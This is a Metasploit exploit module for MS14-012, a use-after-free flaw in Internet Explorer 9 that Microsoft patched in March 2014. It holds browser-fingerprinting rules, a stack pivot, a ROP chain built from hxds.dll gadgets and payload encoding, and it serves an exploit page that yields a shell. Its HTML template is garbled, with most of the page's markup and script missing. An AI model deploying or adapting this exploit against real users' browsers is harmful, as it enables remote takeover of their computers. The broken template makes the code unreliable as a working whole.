MS14-012 Internet Explorer TextRange Use-After-Free

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require 'msf/core'

 

class Metasploit3 < Msf::Exploit::Remote

  Rank = NormalRanking

 

  include Msf::Exploit::Remote::BrowserExploitServer

 

  def initialize(info={})

    super(update_info(info,

      'Name'           => "MS14-012 Internet Explorer TextRange Use-After-Free",

      'Description'    => %q{

        This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw

        was most likely introduced back in 2013, therefore only certain builds of MSHTML are

        affected. In our testing with IE9, these vulnerable builds appear to be between

        9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014

        (before the patch).

      },

      'License'        => MSF_LICENSE,

      'Author'         =>

        [

          'Jason Kratzer', # Original discovery

          'sinn3r'         # Port

        ],

      'References'     =>

        [

          [ 'CVE', '2014-0307' ],

          [ 'MSB', 'MS14-012' ]

        ],

      'Platform'       => 'win',

      'BrowserRequirements' =>

        {

          :source  => /script/i,

          :os_name => OperatingSystems::WINDOWS,

          :ua_name => HttpClients::IE,

          :office  => "2010"

          #:ua_ver  => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now

        },

      'Targets'        =>

        [

          [

            'Automatic',

              {

                # mov eax,dword ptr [edx+0C4h]; call eax

                'Pivot' => 0x0c0d1020 # ECX

              }

          ]

        ],

      'Payload'        =>

        {

          'BadChars'       => "\x00",

          'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500

        },

      'DefaultOptions'  =>

        {

          'Retries'              => false, # You're too kind, tab recovery, I only need 1 shell.

          'InitialAutoRunScript' => 'migrate -f'

        },

      'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday

      'DefaultTarget'  => 0))

  end

 

  # hxds.dll

  def get_payload

    setup =

    [

      0x51C3B376, # rop nop

      0x51C2046E, # pop edi; ret

      0x51BE4A41, # xchg eax, esp; ret

    ].pack("V*")

 

    # rop nops

    45.times { setup << [0x51C3B376].pack('V*') }

 

    setup << [

      0x51C2046E, # pop edi ; ret

      0x51BD28D4  # mov eax, [ecx], call [eax+8]

    ].pack('V*')

 

    p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})

 

    Rex::Text.to_unescape(p)

  end

 

  def exploit_html

    template = %Q|DOCTYPE html>

  

    'Cache-Control' content='no-cache'/>

    "X-UA-Compatible" content="IE=edge" >

    

  

  'strike();'>

    |

 

    return template, binding()

  end

 

  def on_request_exploit(cli, request, target_info)

    send_exploit_html(cli, exploit_html)

  end

 

end







source